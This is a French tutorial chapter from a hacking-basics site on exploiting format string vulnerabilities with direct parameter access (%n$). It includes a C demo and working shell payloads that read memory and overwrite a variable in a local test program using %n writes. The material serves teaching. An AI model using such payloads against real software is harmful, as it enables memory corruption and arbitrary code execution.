Format Strings


<< Ecrire n'importe où en mémoire Détourner le flot d'éxécution >>


IV°) Simplifier les format strings : accès direct aux paramètres

Accès direct aux paramètres
   Notre exploitation actuelle des vulnérabilités type format strings nous oblige à remonter toute la pile et à rajouter des bytes poubelles afin d'utiliser cette vulnérabilité correctement. Il y a beaucoup plus propre, mais surtout beaucoup plus simple.
Toutes les fonctions de formatages des chapines de caractère (printf, fprintf, sprintf) permettent, chose mal connue des programmeurs, la possibilité d'utilisation de l'accès direct. Au lieu d'écrire %o pour effectuer l'opération o, et remplir dans la liste des paramètres le n-ième paramètre correspondant, il suffit d'y accéder par %n$o, n étant le rang de l'argument dans la liste. Cette utilisation est particulièrement intéressante quand on utilise plusieurs fois les mêmes paramètres, sans avoir à les réécrire trop de fois. Voici un exemple :
    #include <stdio.h>

    int main() {

      char *addr = getenv("PATH");
      char caractere = 48;

      printf("La variable PATH est à %1$p et contient %1$s. Le caractère est %2$c, ce qui correspond à %2$d en ascii, soit %2$x en hexa et j'en passe.\n",addr,caractere);

      return 0;
    }

Et sa sortie :
    $ gcc acces_direct.c && ./a.out
    La variable PATH est à 0xbfe9ae08 et contient /usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/games. Le caractère est 0, ce qui correspond à 48 en ascii, soit 30 en hexa et j'en passe.
    $
On peut donc a priori simplifier considérablement les exploits de type format strings, notamment quand l'état de la pile est plus compliqué que dans nos exemples (au cas où il faudrait une chaîne formatée géante pour permettre l'exploitation.

Application aux vulnérabilités format strings
   Dans les exemples suivants, on a pris soin d'échapper le $ ($ = \$) car c'est un caractère spécial du shell. Par conséquent, il serait interprété avant d'être envoyé à echo si on ne prenait pas soin de le neutraliser par l'anti-slash. L'utilisation de la vulnérabilité pour lire est désormais triviale :
    $ echo `printf "\x90\x98\x04\x08"`%9\$s | ./format-strings
    Tout d'abord, on imprime une chaîne de caractères de test : "Chaîne de caractères de test", se situant à 0x8049890

    i = 1337 = 539 et se trouve à 0x804988c
    On compte jusqu'à ici, puis jusqu'à là le nombre de bytes écrites
    Jusqu'à ici, il y avait 59 bytes et 18 de ici à là

    Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée
    On peut écrire votre commentaire de deux façons :

    Comme ça, ˜%9$s

    ou comme ça : ˜Chaîne de caractères de test
    i = 1337 = 539

    Fin du programme

    $
Dans le cas de l'écriture, on n'a plus besoin des bytes poubelles que représentaient HACK puisque nous sommes libre de lire l'argument que l'on veut pour faire augmenter le nombre de bytes écrites jusqu'au nombre adéquat. On prend soin de réajuster le nombre de bytes à écrire pour la première lecture (0x78 - 16 = 120 - 16 = 104) :
    $ echo `printf "\x8c\x98\x04\x08\x8d\x98\x04\x08\x8e\x98\x04\x08\x8f\x98\x04\x08"`%8\$104x%9\$n%8\$222x%10\$n%8\$222x%11\$n%8\$222x%12\$n | ./format-strings
    Tout d'abord, on imprime une chaîne de caractères de test : "Chaîne de caractères de test", se situant à 0x8049890

    i = 1337 = 539 et se trouve à 0x804988c
    On compte jusqu'à ici, puis jusqu'à là le nombre de bytes écrites
    Jusqu'à ici, il y avait 59 bytes et 18 de ici à là

    Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée
    On peut écrire votre commentaire de deux façons :

    Comme ça, Œ˜˜Ž˜˜%8$104x%9$n%8$222x%10$n%8$222x%11$n%8$222x%12$n

    ou comme ça : Œ˜˜Ž˜˜                             bf9210d8                                                                                                                         bf9210d8                                                                                                                         bf9210d8                                                                                                                         bf9210d8
    i = 305419896 = 12345678

    Fin du programme

    $
Bien que cette dernière écriture ne soulage pas nécessairement l'oeil humain, il faut reconnaître qu'elle simplifie les actions de lecture/écriture, et ceux de façon exponentielle avec la complexité ou la longueur de la pile dans une situation réelle. Trèves de bavardages. Nous allons maintenant voir comment avec ces quelques connaissances on peut se débrouiller pour exécuter du code arbitraire.


<< Ecrire n'importe où en mémoire Détourner le flot d'éxécution >>



0 Commentaires




Commentaires désactivés.

Apprendre la base du hacking - Liens sécurité informatique/hacking - Contact

Copyright © Bases-Hacking 2007-2014. All rights reserved.